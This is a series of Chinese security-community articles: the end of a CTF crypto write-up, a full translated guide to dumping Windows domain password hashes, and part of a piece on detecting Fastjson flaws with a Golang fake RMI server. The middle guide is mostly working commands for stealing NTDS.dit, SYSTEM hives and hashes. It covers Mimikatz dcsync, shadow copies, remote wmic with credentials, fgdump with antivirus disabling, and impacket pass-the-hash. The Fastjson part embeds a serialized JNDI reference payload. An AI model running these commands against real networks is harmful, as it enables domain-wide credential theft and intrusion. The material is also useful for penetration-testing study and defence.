p=449703347709287328982446812318870158230369688625894307953604074502413258045265502496365998383562119915565080518077360839705004058211784369656486678307007348691991136610142919372779782779111507129101110674559235388392082113417306002050124215904803026894400155194275424834577942500150410440057660679460918645357376095613079720172148302097893734034788458122333816759162605888879531594217661921547293164281934920669935417080156833072528358511807757748554348615957977663784762124746554638152693469580761002437793837094101338408017407251986116589240523625340964025531357446706263871843489143068620501020284421781243879675292060268876353250854369189182926055204229002568224846436918153245720514450234433170717311083868591477186061896282790880850797471658321324127334704438430354844770131980049668516350774939625369909869906362174015628078258039638111064842324979997867746404806457329528690722757322373158670827203350590809390932986616805533168714686834174965211242863201076482127152571774960580915318022303418111346406295217571564155573765371519749325922145875128395909112254242027512400564855444101325427710643212690768272048881411988830011985059218048684311349415764441760364762942692722834850287985399559042457470942580456516395188637916303814055777357738894264037988945951468416861647204658893837753361851667573185920779272635885127149348845064478121843462789367112698673780005436144393573832498203659056909233757206537514290993810628872250841862059672570704733990716282248839
g=2
po = 312827656920665019052154527973062873164155435750834364099549354276600246039780808375717193869518770295806958147314654770520680676883270457649459743668787722703852223185610468575274145823739097462833932263058142549857140269637619269087411010174206045061016542198959480305747562269639856888526630582754886085323913120581662775122656234745332568520238838445916214100660745696922469287938919295619254972946705975683751437282135292172658670815955803075584269128554697234601952297591311295087027674743379383960411103043466786182497597866061129442701995358254124186369249520035589323173168805824570833282035445498782643378768358700682376307190201843700760320696872165065894961224809252051704551991788222733119953751476970741723581723530792919118911052397510799833080000512103966726938986113045128903532639271674853108472379556253636897190191182797552815462576549308131710191832665640046277651599574046021255652154555206626299039923531695289748325251163391286522402130644593746350983380447169395283756146065786333043918764637244487399476582803660120363329563190678655408546077633121456889790401760376550560489115040487451522266237283633048382172370079943143410743342217597309023634940063326550917247604702902550215759784529552401298569555386076473292117763682664669364246320241134117049920406912330431288119412796087737646208534116711021629494365386501930451907402808159838174943862279362834677757884050584093448170667659133693515258906880458166511868847468784977428190810086167564
I = Integers(p)
base =I(g)
power = I(po)
x = discrete_log(power,base,I.order()-1)
print x
可以计算出x为
406518553680923303810998357867089986872597384625428296032382082223605988123574210841218447069934463869653305779972123070300843700243223695683842745570568684988254542730892443975304109337441724302279618874884331668884226985266615045139866948788642830842298877192435129229769098933982345569684722762310667192130392534911466160274059969529107046199350538396064656112295906250939672478159817378079309441784880287725371781211748012877184256920210313871719115362010515515110891402855431658223334353873593303525395667978618326801978550187994124468270924013873572498432067645518118093443435418639520888364353499167897138949530744479663644999699224624773483099925521628862586180232198687320947503864600545302221833421275377235509032523457368609815918585758902481553859663387458618816129349463449419087862341088098652933968194993618037910771065808327330647298288575310835586890815804579122178907612697859270737899965594281906994558485264432034470368606167998120003373267066108968891036101743283670490035545481631859464049676062374641157466906693289719168834606604591256752463984131731185528958907446384032245887743211357901745111407737140995225229516243384229267475225313252051953270472323465728081856951111786989858395543299883339743470874543998207949716754885646487861907213598041410526482071904355862055436218492748770410795259787330776539666787777384878258553459788559880593421515430755132522925521857946949333624821971975459183239317332938414550857334189671635116967802683106640
### getflag
得到私钥后，就是计算共享密钥再解密AES了，可以写出如下脚本
from Crypto.Cipher import AES
from hashlib import sha256
r=78087120192506798185304785534036220490682295457985899593552286015760906515956977310718106026282702809422711635619435917331518767851766791450692341186817654392039937276866732823290900777821010247327671241243643650412880368150333211471395035297424887127204256326908722464623917394462679939630749446410387197599335390520467029069728074767246541966424633680601615773218990609115018202108293891151991011803340952544552635132188415103709705346657970777043221314746732187471928545207308547177553542327264672520940226251888781036654093770411265925735389942610651694464713219676594471860313120475954809929673190737166098124441789345848214708040517022155838996124293848907006907419888109057810382829316850548709211468528812150512419577354250048007280565757975359757844819724279701194952271971968109182400983285949430466403580176579808358235196432047919412166611978194160383972820803839428543781819223102375217858138264186633827564726154084918862464617886404527934356701470162555172341817057875835953741671717748853387699781466740938591750994343486592410583776852328678921121336669128939343468165354791232165526407821586702774092562342825423846314736479769371630140795341485570538796652969642206321722350767458962990861456051369560315789943007263349872724565868324293287652102593428824637171300666426843580254096051705945897970157438347228211952956498549949387040740580715926063683264912465718505170513257955773741351861008670710537188992538116637590461265650926502662281478520940158
x=406518553680923303810998357867089986872597384625428296032382082223605988123574210841218447069934463869653305779972123070300843700243223695683842745570568684988254542730892443975304109337441724302279618874884331668884226985266615045139866948788642830842298877192435129229769098933982345569684722762310667192130392534911466160274059969529107046199350538396064656112295906250939672478159817378079309441784880287725371781211748012877184256920210313871719115362010515515110891402855431658223334353873593303525395667978618326801978550187994124468270924013873572498432067645518118093443435418639520888364353499167897138949530744479663644999699224624773483099925521628862586180232198687320947503864600545302221833421275377235509032523457368609815918585758902481553859663387458618816129349463449419087862341088098652933968194993618037910771065808327330647298288575310835586890815804579122178907612697859270737899965594281906994558485264432034470368606167998120003373267066108968891036101743283670490035545481631859464049676062374641157466906693289719168834606604591256752463984131731185528958907446384032245887743211357901745111407737140995225229516243384229267475225313252051953270472323465728081856951111786989858395543299883339743470874543998207949716754885646487861907213598041410526482071904355862055436218492748770410795259787330776539666787777384878258553459788559880593421515430755132522925521857946949333624821971975459183239317332938414550857334189671635116967802683106640
p=449703347709287328982446812318870158230369688625894307953604074502413258045265502496365998383562119915565080518077360839705004058211784369656486678307007348691991136610142919372779782779111507129101110674559235388392082113417306002050124215904803026894400155194275424834577942500150410440057660679460918645357376095613079720172148302097893734034788458122333816759162605888879531594217661921547293164281934920669935417080156833072528358511807757748554348615957977663784762124746554638152693469580761002437793837094101338408017407251986116589240523625340964025531357446706263871843489143068620501020284421781243879675292060268876353250854369189182926055204229002568224846436918153245720514450234433170717311083868591477186061896282790880850797471658321324127334704438430354844770131980049668516350774939625369909869906362174015628078258039638111064842324979997867746404806457329528690722757322373158670827203350590809390932986616805533168714686834174965211242863201076482127152571774960580915318022303418111346406295217571564155573765371519749325922145875128395909112254242027512400564855444101325427710643212690768272048881411988830011985059218048684311349415764441760364762942692722834850287985399559042457470942580456516395188637916303814055777357738894264037988945951468416861647204658893837753361851667573185920779272635885127149348845064478121843462789367112698673780005436144393573832498203659056909233757206537514290993810628872250841862059672570704733990716282248839
g=2
po=312827656920665019052154527973062873164155435750834364099549354276600246039780808375717193869518770295806958147314654770520680676883270457649459743668787722703852223185610468575274145823739097462833932263058142549857140269637619269087411010174206045061016542198959480305747562269639856888526630582754886085323913120581662775122656234745332568520238838445916214100660745696922469287938919295619254972946705975683751437282135292172658670815955803075584269128554697234601952297591311295087027674743379383960411103043466786182497597866061129442701995358254124186369249520035589323173168805824570833282035445498782643378768358700682376307190201843700760320696872165065894961224809252051704551991788222733119953751476970741723581723530792919118911052397510799833080000512103966726938986113045128903532639271674853108472379556253636897190191182797552815462576549308131710191832665640046277651599574046021255652154555206626299039923531695289748325251163391286522402130644593746350983380447169395283756146065786333043918764637244487399476582803660120363329563190678655408546077633121456889790401760376550560489115040487451522266237283633048382172370079943143410743342217597309023634940063326550917247604702902550215759784529552401298569555386076473292117763682664669364246320241134117049920406912330431288119412796087737646208534116711021629494365386501930451907402808159838174943862279362834677757884050584093448170667659133693515258906880458166511868847468784977428190810086167564
key = pow(r,x,p)
c = '0e10f06cc8a34a8b93d2f5afd2a32109413fc6c1bdf3985fa55a7427f5befb215afe920b4c9f1c5fd7cd8621eccbce74842474de9eab381535ca5a3d0d21d37a'
aes = AES.new(sha256(str(key).encode()).digest())
print aes.decrypt(c.decode('hex'))
运行后可得到flag
flag{2D7A22A4-68C9-46A9-A209-E5623917A864}
## 后记
这次pwnhub的crypto比以往简单不少……做完后甚至有点不敢相信…… | 社区文章 |
# 域密码哈希导出的那些事儿
##### 译文声明
本文是翻译文章，文章来源：https://pentestlab.blog/
原文地址：<https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/>
译文仅供参考，具体内容表达以及含义原文为准。
在渗透测试过程中，我们常常碰到这样一种情况：已经实现域管理员访问，并提取所有域用户的密码的哈希用来进行离线破解和分析。这些哈希值存储在域控制器（NTDS.DIT）的数据库文件中，并往往带有一些其他信息，如组成员身份和用户。
NTDS.DIT文件会被操作系统频繁使用，因此无法直接复制到其他位置以提取信息。通常在Windows的如下路径可以找到该文件：
> C:WindowsNTDSNTDS.dit
提取该文件并存储在其中的信息的技术非常多，但是大多数情况下会选择以下其中一种方法：
> 1. 域控制器复制服务
> 2. 原生Windows二进制文件
> 3. WMI
>
## Mimikatz
Mimikatz有一个dcsync的功能，利用它可以从目录复制服务（DRS）的NTDS.DIT文件中检索密码哈希值。该项技术省去了直接使用域控制器进行身份验证的过程，因为它可以通过域管理员的权限从域的任何系统执行。因此，该项技术可以作为红队的标准技术，因为它简单高效。
>
> lsadump::dcsync /domain:pentestlab.local /all /csv
>
通过使用/ user参数指定域用户名，Mimikatz可以转储包括其密码哈希值在内的所有帐户信息。
> lsadump::dcsync /domain:pentestlab.local /user:test
另外，直接在域控制器中执行Mimikatz密码哈希值可以通过lsass.exe进程转储。
> 1. privilege::debug
> 2. lsadump::lsa /inject
>
之后，检索域内账户的密码哈希值。
## Empire
PowerShell
Empire有两个可以通过DCSync攻击检索域哈希值的模块。这两个模块都需要域管理员的权限执行，同时也伴随着Microsoft复制服务的运行。这些模块依赖于Invoke-Mimikatz PowerShell脚本来执行与DCSync相关的Mimikatz命令。通过以下模块可以将域哈希提取为类似于Metasploit
hashdump命令输出的格式。
> usemodule credentials/mimikatz/dcsync_hashdump
DCSync模块需要指定用户才能提取所有帐户信息。
将获得如下图所示的信息：
## Nishang
[Nishang](https://github.com/samratashok/nishang)是一个允许红队和渗透测试人员对系统进行攻击性操作的PowerShell框架。[Copy-VSS](https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1)脚本可以用于自动提取——NTDS.DIT，SAM和SYSTEM这些必要文件。这些文件将被解压到当前工作目录或其他任意的指定文件夹中。
> 1.Import-Module .Copy-VSS.ps1
> 2.Copy-VSS
> 3.Copy-VSS -DestinationDir C:ShadowCopy
另外，还可以通过加载PowerShell扩展的方式来从现有的Meterpreter会话执行脚本。
> 1.load powershell
> 2.powershell_import /root/Copy-VSS.ps1
> 3.powershell_execute Copy-VSS
也可以通过命令powershell_shell建立直接PowerShell会话，以便在脚本导入现有Meterpreter会话后提取文件。
> 1.Copy-VSS
> 2.Copy-VSS -DestinationDir C:Ninja
## PowerSploit
PowerSploit包含PowerShell脚本，该脚本利用卷影复制服务创建可用于提取文件的新卷，常常通过以下方式实现：
> powershell_shell
> New-VolumeShadowCopy -Volume C:
> Get-VOlumeShadowCopy
接着，可以使用命令copy将文件从新卷复制到目标路径。
## Invoke-DCSync
[Invoke–DCSync]是PowerShell的一个脚本，由[Nick Landers](https://twitter.com/monoxgas)
开发，并利用PowerView，Invoke-ReflectivePEInjection和PowerKatz的DLL检索与DCSync的Mimikatz方法来提取哈希值。直接执行该函数会有如下输出：
> Invoke-DCSync
结果将格式化为Domain，User，RID和Hash四个表。同时，使用参数-PWDumpFormat执行Invoke-DCSync将以 `user：`
`id：` `lm：` `ntlm :::` 格式检索哈希：
> Invoke-DCSync -PWDumpFormat
通过从现有的Meterpreter会话运行脚本，可以实现相同的输出。
使用PWDumpFormat：
## NTDSUTIL
NTDSUTIL是为了让管理员能够访问和管理Windows Active
Directory数据库一种命令行工具，它是域控制器生态系统的一部分。同时，渗透测试人员和红队可以用它来拍摄现有ntds.dit文件的快照，通常将该文件复制到新位置，来进行离线分析和密码哈希的提取。
> 1.ntdsutil
> 2.activate instance ntds
> 3.ifm
> 4.create full C:ntdsutil
> 5.quit
> 6.quit
此处将生成Active Directory和Registry两个新文件夹。NTDS.DIT文件将保存在Active
Directory中，SAM和SYSTEM文件将保存到Registry文件夹中。
## DiskShadow
**DiskShadow**
是Microsoft签名的二进制文件，用于协助管理员执行与卷影复制服务（VSS）相关的操作。最初[bohops](https://twitter.com/bohops)在他的[博客](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/)中提到了这个二进制文件。该二进制文件有两个模式，分别为： **交互式** 和 **脚本**
模式。因此，我们需要一个包含自动执行NTDS.DIT提取过程所需的所有命令的脚本文件。该脚本文件为了满足：创建新的卷影副本，装入新驱动器，执行复制命令并删除卷影副本等功能，需要以下行：
> 1.set context persistent nowriters
> 2.add volume c: alias someAlias
> 3.create
> 4.expose %someAlias% z:
> 5.exec “cmd.exe” /c copy z:windowsntdsntds.dit c:exfilntds.dit
> 6.delete shadows volume %someAlias%
> 7.reset
值得注意的是，DiskShadow二进制文件需要从`C:WindowsSystem32`路径执行。如果从另一个路径调用它，脚本将无法正确执行。
> diskshadow.exe /s c:diskshadow.txt
直接从解释器运行以下命令，可以列出系统的所有可用卷影副本:
> 1.diskshadow
> 2.LIST SHADOWS ALL
SYSTEM注册表配置单元也应该被复制，因为它包含解密NTDS文件内容的密钥。
> reg.exe save hklmsystem c:exfilsystem.bak
## WMI
[Sean
Metcalf](https://twitter.com/PyroTek3)在他的[博客](https://adsecurity.org/?p=2398)表明，可以通过WMI远程提取NTDS.DIT和SYSTEM文件。该技术使用
**vssadmin** 二进制文件来创建卷影副本。
wmic /node:dc /user:PENTESTLABDavid /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
接着，它远程执行复制命令，以便将卷影副本中的NTDS.DIT文件解压缩到目标系统上的另一个目录中。
wmic /node:dc /user:PENTESTLABDavid /password:pentestlab123!! process call create "cmd /c copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsNTDSNTDS.dit C:tempntds.dit 2>&1"
该方法同样适用于SYSTEM文件。
wmic /node:dc /user:PENTESTLABDavid /password:pentestlab123!! process call create "cmd /c copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM C:tempSYSTEM.hive 2>&1"
然后，解压的文件可以从域控制器传输到另一个Windows系统，以转储域密码哈希值。
PS C:Userstest.PENTESTLAB> copy \10.0.0.1c$tempntds.dit C:temp
PS C:Userstest.PENTESTLAB> copy \10.0.0.1c$tempSYSTEM.hive C:temp
如果已生成黄金票证，则可以使用它通过Kerberos与域控制器进行身份验证，以此代替凭据。
## VSSADMIN
卷影副本是Windows命令行一种即便被操作系统使用也能够用于管理员备份计算机，卷，文件的实用程序。卷影复制作为服务运行，并要求将文件系统格式化为NTFS，默认情况在所有现代操作系统下都是如此。从Windows命令提示符执行以下操作将创建C：驱动器盘的快照，以便用户访问通常无法访问这些文件，并将其其复制到另一个位置（本地文件夹，网络文件夹或可移动介质）。
> vssadmin create shadow /for=C:
>
因为C：驱动器盘中的所有文件都已复制到另一个位置（上图已给出，HarddiskVolumeShadowCopy1），所以它们不会被操作系统直接使用，因此可以直接访问并将其复制到另一个位置。命令副本将NTDS.DIT和SYSTEM文件复制到名为ShadowCopy的本地驱动器上的新创建文件夹中。
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsNTDSNTDS.dit C:ShadowCopy
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1WindowsSystem32configSYSTEM C:ShadowCopy
这些文件需要从域控制器复制到另一个主机以进行进一步处理。
## vssown
与 **vssadmin** 实用程序类似，[Tim
Tomes](https://twitter.com/lanmaster53)开发了[vssown](https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs)，它是一种可以创建和删除卷影副本，并从卸载的卷影副本运行任意可执行文件，以及启动和停止卷影复制服务的可视化basic脚本。
cscript vssown.vbs /start
cscript vssown.vbs /create c
cscript vssown.vbs /list
cscript vssown.vbs /delete
可以使用命令副本复制所需的文件。
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy11windowsntdsntds.dit C:vssown
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy11windowssystem32configSYSTEM C:vssown
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy11windowssystem32configSAM C:vssown
## Metasploit
Metasploit框架有这么一个模块，它通过服务器消息块（SMB）服务直接与域控制器进行身份验证，创建系统驱动器的卷影副本，并将NTDS.DIT和SYSTEM配置单元的副本下载到Metasploit目录中。这些文件可以与impacket等其他工具一起，共同用于提取执行活动目录密码的哈希。
>
> auxiliary/admin/smb/psexec_ntdsgrab
>
此外，还存在一个后期利用模块，可以链接到现有的Meterpreter会话，以便通过ntdsutil方法检索域哈希。
>
> windows/gather/credentials/domain_hashdump
>
有时候，到域控制器如果存在现有Meterpreter会话的情况下，则可以使用命令`hashdump`。但是，该方法并不安全，因为它可能会使域控制器崩溃。
> hashdump
## fgdump
[fgdump](http://www.foofus.net/fizzgig/fgdump/fgdump-2.1.0-exeonly.zip)是一个元老级别的可执行文件，可用来提取LanMan和NTLM的密码哈希值。如果已获取本地管理员权限，则可以在本地或远程执行。在执行期间，fgdump将尝试禁用可能在系统上运行的防病毒软件，如果成功，则会将所有数据写入两个文件中。如果存在防病毒或端点解决方案，则不应将fgdump用作转储密码哈希的方法以避免检测，因为大多数防病毒公司（包括Microsoft的Windows
Defender）都会对其进行标记。
> fgdump.exe
也可以通过检查.pwdump文件的内容来检索密码哈希值。
> type 127.0.0.1.pwdump
## NTDS提取
[Impacket](https://github.com/CoreSecurity/impacket)是一组用于执行各种任务，包括提取NTDS文件的内容python脚本。其中的
**impacket-secretsdump** 模块需要系统和NTDS数据库文件。
impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
此外，impacket可以通过使用计算机帐户及其哈希进行身份验证从NTDS.DIT文件远程转储域密码哈希。
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/[email protected]
此外，impacket可以通过使用计算机帐户及其哈希进行身份验证从NTDS.DIT文件远程转储域密码哈希。
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/[email protected]
[NTDSDumpEx](https://github.com/zcgonvh/NTDSDumpEx)二进制文件可以从Windows主机中提取域密码哈希值，该方案可以作为[impacket](https://github.com/zcgonvh/NTDSDumpEx)的替代解决方案。
> NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive
还有一个shell脚本[adXtract](https://github.com/LordNem/adXtract)，它可以将用户名和密码的哈希值导出为一种可以被常见的密码爆破工具如John
the Ripper和Hashcat调用的格式。
> ./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab
该脚本会将所有信息写入项目名称下的各类文件中，当数据库文件NTDS的解密完成后，在将用户列表和密码哈希值导出到控制台中。同时，adXtract脚本还将提供有关域用户的大量信息，如下所示：
密码哈希值将以下列格式显示。
审核人：yiwang 编辑：边边 | 社区文章 |
# Golang实现RMI协议自动化检测Fastjson
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 传统检测方式
笔者继续带大家炒Fastjson的冷饭。关于漏洞分析和利用链分析文章网上已有大量，但是关于如何自动化检测的文章还是比较少见的，尤其是如何不使用Java对Fastjson做检测。是否可以
**不用Dnslog平台** ，也 **不用自行搭建JDNI/LDAP服务** ，就可以进行无害化的扫描呢？
其实`tomcat-dbcp`的`BasciDataSource`链可以做到不借助JNDI/LDAP触发反序列化漏洞，但问题还是在于需要自行搭建Dnslog平台。不借助这条链，还有办法吗？
首先我们来看看市面上已有的Fastjson检测工具：
### BurpFastJsonScan
其中第1-4条Payload过长没有截图，正是rmi和ldap的`JdbcRowSetImpl`链，分成多种是为了绕各个小版本，并且做了编码。所有的Payload都采用了Dnslog的方式，值得一看的是后几条Payload直接用了`java.net`包，感觉这种不太算漏洞利用，只是简单的反序列化做验证
而以上所有的Payload都需要Dnslog平台，并且需要自行搭建JNDI/LDAP服务，才可以进行盲打
public DnsLogCn(IBurpExtenderCallbacks callbacks) {
this.callbacks = callbacks;
this.dnslogDomainName = "http://www.dnslog.cn";
this.setExtensionName("DnsLogCn");
this.init();
}
sleep后二次验证，是很好的做法，总体来说该检测工具是不错的Burpsuite插件
// 防止因为dnslog卡导致没有检测到的问题, 这里进行二次检测, 保证不会漏报
// 睡眠一段时间, 给dnslog一个缓冲时间
try {
Thread.sleep(8000);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
// 开始进行二次验证
String dnsLogBodyContent = this.dnsLog.run().getBodyContent();
if (dnsLogBodyContent == null || dnsLogBodyContent.length() <= 0) {
return;
}
### Fastjson-Scanner
一个Python写的Burp插件，Payload只有一种，也是借助dnslog，使用的是Burp的`burpsuite
collaborato`功能自带Dnslog，是挖洞利器
### Fastjson-Scan
另一个Java版的Burp插件，使用`JdbcRowSetImpl`链和Burp自带的Dnslog
延迟查看Dnslog，防止查不到
// 向目标发送payload
IHttpRequestResponse resp = this.callbacks.makeHttpRequest(iHttpService, postMessage);
// 担心目标有延迟，所有延时2秒再查看dnslog平台
Thread.sleep(2000);
// 返回的是一个数组
dnsres = context.fetchCollaboratorInteractionsFor(dnslog);
菜单中启动扫描任务需要多线程的方式防止阻塞
fireTableRowsInserted(row, row);
// 在事件触发时是不能发送网络请求的，否则可能会造成整个burp阻塞崩溃，所以必须要新起一个线程来进行漏洞检测
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
checkVul(responses[0], row);
}
});
thread.start();
### 传统方式总结
其实还有一些扫描工具，不过没必要进行阅读了，他们的原理可以总结为：
* 直接用`java.net`包反序列化配合Dnslog方式，需自行配置平台
* 用`JdbcRowSetImpl`链配合Dnslog方式，需要家住LDAP/JNDI Server
* 如果用了`TemplatesImpl`和`BasicDataSource`，没有回显，还是需要借助Dnslog
## 巧妙的方式
该方式参考了长亭 **xray** 核心作者 **koalr**
师傅的文章，将在末尾给出链接。笔者在长亭科技实习期间，就是由koalr师傅指导学习和工作，受益匪浅
回到主题，后文将以`JdbcRowSetImpl`链结合`JNDI`注入的方式演示，`JNDI`注入方式不支持高版本JDK可以采用`LDAP`，原理类似
给出以下的真实情景：
* 情景一
某挖洞小队想写一个扫描器，专门用来做Fastjson的扫描，最终打包一个可执行文件方便白帽子们挖洞，执行`./super-scanner -u
https://xxx`，需要用户自行配制好Dnslog平台，甚至需要自行搭建`JNDI Server`和对应的`HTTP Server`。
* 情景二
白帽子们抱怨好麻烦，希望能做一款工具无需自行搭建各种平台和服务，就可以实现Fastjson的扫描。于是开发者将Java环境嵌入到Golang/C++编写的程序中，比如用`java
-jar
xxx.jar`启动服务，再自行编写类似Dnslog的服务，集成到工具中，只要在服务器启动该扫描器，理论上确实可以做到不配置任何平台只用一个可执行文件做到检测。
* 情景三
开发者发现这种方式存在性能问题，首先需要嵌入Java，不得不在电脑上配置Java环境，而且JNDI/LDAP/Dnslog服务本身也是消耗性能并且占用端口的。做批量扫描需要开大量端口并维护一个大`map:[target->port]`用于区分每一个目标。另外后续该扫描器需要加入其他插件，将会变得较臃肿
是否可以用Golang模拟RMI协议，用于检测目标是否存在Fastjson漏洞
给出RMI官方文档：[文档1](https://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-protocol3.html)，[文档2](https://docs.oracle.com/javase/9/docs/specs/rmi/protocol.html#overview)
### 报文分析
* client->server
参考协议文档：0x4a 0x52 0x4d 0x49 Version Protocol
其中Vesion表示版本，应该是0x00或0x01，
Protocol表示三种具体协议，比如当前0x4b表示`StreamProtocol`
原始报文：4a 52 4d 49 00 02 4b
* server->client
参考文档0x4e表示`ProtocolAck`，是正常情况下的ACK确认
0x0009表示报文长度为9，其实是IP地址长度的表示
`31 32 37 2e 30 2e 30 2e 31`->`127.0.0.1`
最后的0xc4和0x12表示50194端口号
原始报文：4e 00 09 31 32 37 2e 30 2e 30 2e 31 00 00 c4 12
* client->server
0x000d表示长度13，而这13位正是一个内网的IP：192.168.222.1
这个内网IP涉及到单波的概念，参考链接：[JDK源码](https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/sun/rmi/server/UnicastRef.java)
原始报文：00 0d 31 39 32 2e 31 36 38 2e 32 32 32 2e 31 00 00 00 00
* client->server
0x50是一个flag，代表call操作，0xaced是常见的java magic
number。后面这一部分是Java的序列化数据，没有分析的必要（不过注意到末尾的Exploit是JNDI Server绑定的Path）
原始报文：
0000 50 ac ed 00 05 77 22 00 00 00 00 00 00 00 00 00 P....w".........
0010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0020 02 44 15 4d c9 d4 e6 3b df 74 00 07 45 78 70 6c .D.M...;.t..Expl
0030 6f 69 74 oit
* server->client
server数据没有发送结束，0x51是一个flag，代表ReturnData真正的返回数据
后续aced开头的都是java序列化数据
原始报文：
0000 51 ac ed 00 05 77 0f 01 c6 ee 4f 24 00 00 01 7b Q....w....O$...{
0010 11 5d c6 ff 80 08 73 72 00 2f 63 6f 6d 2e 73 75 .]....sr./com.su
0020 6e 2e 6a 6e 64 69 2e 72 6d 69 2e 72 65 67 69 73 n.jndi.rmi.regis
0030 74 72 79 2e 52 65 66 65 72 65 6e 63 65 57 72 61 try.ReferenceWra
0040 70 70 65 72 5f 53 74 75 62 00 00 00 00 00 00 00 pper_Stub.......
0050 02 02 00 00 70 78 72 00 1a 6a 61 76 61 2e 72 6d ....pxr..java.rm
0060 69 2e 73 65 72 76 65 72 2e 52 65 6d 6f 74 65 53 i.server.RemoteS
0070 74 75 62 e9 fe dc c9 8b e1 65 1a 02 00 00 70 78 tub......e....px
0080 72 00 1c 6a 61 76 61 2e 72 6d 69 2e 73 65 72 76 r..java.rmi.serv
0090 65 72 2e 52 65 6d 6f 74 65 4f 62 6a 65 63 74 d3 er.RemoteObject.
00a0 61 b4 91 0c 61 33 1e 03 00 00 70 78 70 77 36 00 a...a3....pxpw6.
00b0 0a 55 6e 69 63 61 73 74 52 65 66 00 0d 31 39 32 .UnicastRef..192
00c0 2e 31 36 38 2e 32 32 32 2e 31 00 00 f3 bd 23 92 .168.222.1....#.
00d0 b3 d9 f7 a3 45 9c c6 ee 4f 24 00 00 01 7b 11 5d ....E...O$...{.]
00e0 c6 ff 80 01 01 78 .....x
* client->server
数据接收没有问题，给服务端一个Ping（0x52）
原始报文：52
* server->client
对于客户端Ping的响应（0x53）
原始报文：53
* client->server
查看文档这里是分布式垃圾回收相关（flag:0x54）的内容，笔者测试多次，返回都是相同的数据，也许是一个确定的值？这点还有待分析，不过第一个value是可以确定的
0000 54 c6 ee 4f 24 00 00 01 7b 11 5d c6 ff 80 08 T..O$...{.]....
### Golang实现
本文的重中之重就在这里，我将给出完整的Golang解析案例
简单的TCP监听：
func startListen(host string, port int) {
address := fmt.Sprintf("%s:%d", host, port)
localAddress, _ := net.ResolveTCPAddr("tcp4", address)
l, err := net.ListenTCP("tcp", localAddress)
if err != nil {
panic(err)
}
doListen(l)
}
func doListen(l net.Listener) {
conn, err := l.Accept()
if err != nil {
panic(err)
}
data := make([]byte, 1024)
_, err = conn.Read(data)
if err != nil {
panic(err)
}
handleFirst(data, &conn)
}
解析第一个请求
func handleFirst(data []byte, conn *net.Conn) {
fmt.Println("client->server")
// 检测第一个请求是否合法
if !firstCheck(data) {
return
}
// 发送IP信息的响应
ret := getFirstResp(conn)
_, err := (*conn).Write(ret)
fmt.Println("server->client:address info")
if err != nil {
panic(err)
}
data = make([]byte, 1024)
// 读取第二个请求
_, _ = (*conn).Read(data)
fmt.Println("client->server:unicast info")
// 解析第二个请求
handleSecond(data, conn)
}
firstCheck内容，根据协议判断每一位是否合法
func firstCheck(data []byte) bool {
// check head
if data[0] == 0x4a &&
data[1] == 0x52 &&
data[2] == 0x4d &&
data[3] == 0x49 {
// check version
if data[4] != 0x00 &&
data[4] != 0x01 {
return false
}
// check protocol
if data[6] != 0x4b &&
data[6] != 0x4c &&
data[6] != 0x4d {
return false
}
// check other data
lastData := data[7:]
for _, v := range lastData {
if v != 0x00 {
return false
}
}
return true
}
return false
}
getFirstResp，构造第一个响应包
func getFirstResp(conn *net.Conn) []byte {
var ret []byte
address := (*conn).RemoteAddr().String()
ip := strings.Split(address, ":")[0]
port := strings.Split(address, ":")[1]
length := len(ip)
// flag位
ret = append(ret, 0x4e)
// length位
ret = append(ret, 0x00)
ret = append(ret, uint8(length))
// 写入ip
for _, v := range ip {
ret = append(ret, uint8(v))
}
// 空余
ret = append(ret, 0x00)
ret = append(ret, 0x00)
intPort, _ := strconv.Atoi(port)
temp := uint16(intPort)
var b [2]byte
// 写入端口
b[1] = uint8(temp)
b[0] = uint8(temp >> 8)
ret = append(ret, b[0])
ret = append(ret, b[1])
return ret
}
第二个包处理，由于单播地址不确定，所以给出ipv4的正则
func handleSecond(data []byte, conn *net.Conn) {
if data[0] != 0x00 {
return
}
length := data[1]
var ip string
for i := 2; i < int(length)+2; i++ {
ip += fmt.Sprintf("%c", data[i])
}
// 判断给出的内网IP是否合法
ipReg := `^((0|[1-9]\d?|1\d\d|2[0-4]\d|25[0-5])\.){3}(0|[1-9]\d?|1\d\d|2[0-4]\d|25[0-5])$`
match, _ := regexp.MatchString(ipReg, ip)
if match {
lastData := data[int(length)+2:]
for _, v := range lastData {
if v != 0x00 {
return
}
}
doThird(conn)
}
}
返回payload，实际上可以简化
func doThird(conn *net.Conn) {
fmt.Println("client->server:exploit")
data := make([]byte, 1024)
_, _ = (*conn).Read(data)
payload := []byte{
0x51, 0xac, 0xed, 0x00, 0x05, 0x77, 0x0f, 0x01, 0xc6, 0xee, 0x4f, 0x24, 0x00, 0x00, 0x01, 0x7b, 0x11, 0x5d, 0xc6,
0xff, 0x80, 0x08, 0x73, 0x72, 0x00, 0x2f, 0x63, 0x6f, 0x6d, 0x2e, 0x73, 0x75, 0x6e, 0x2e, 0x6a, 0x6e, 0x64, 0x69,
0x2e, 0x72, 0x6d, 0x69, 0x2e, 0x72, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72,
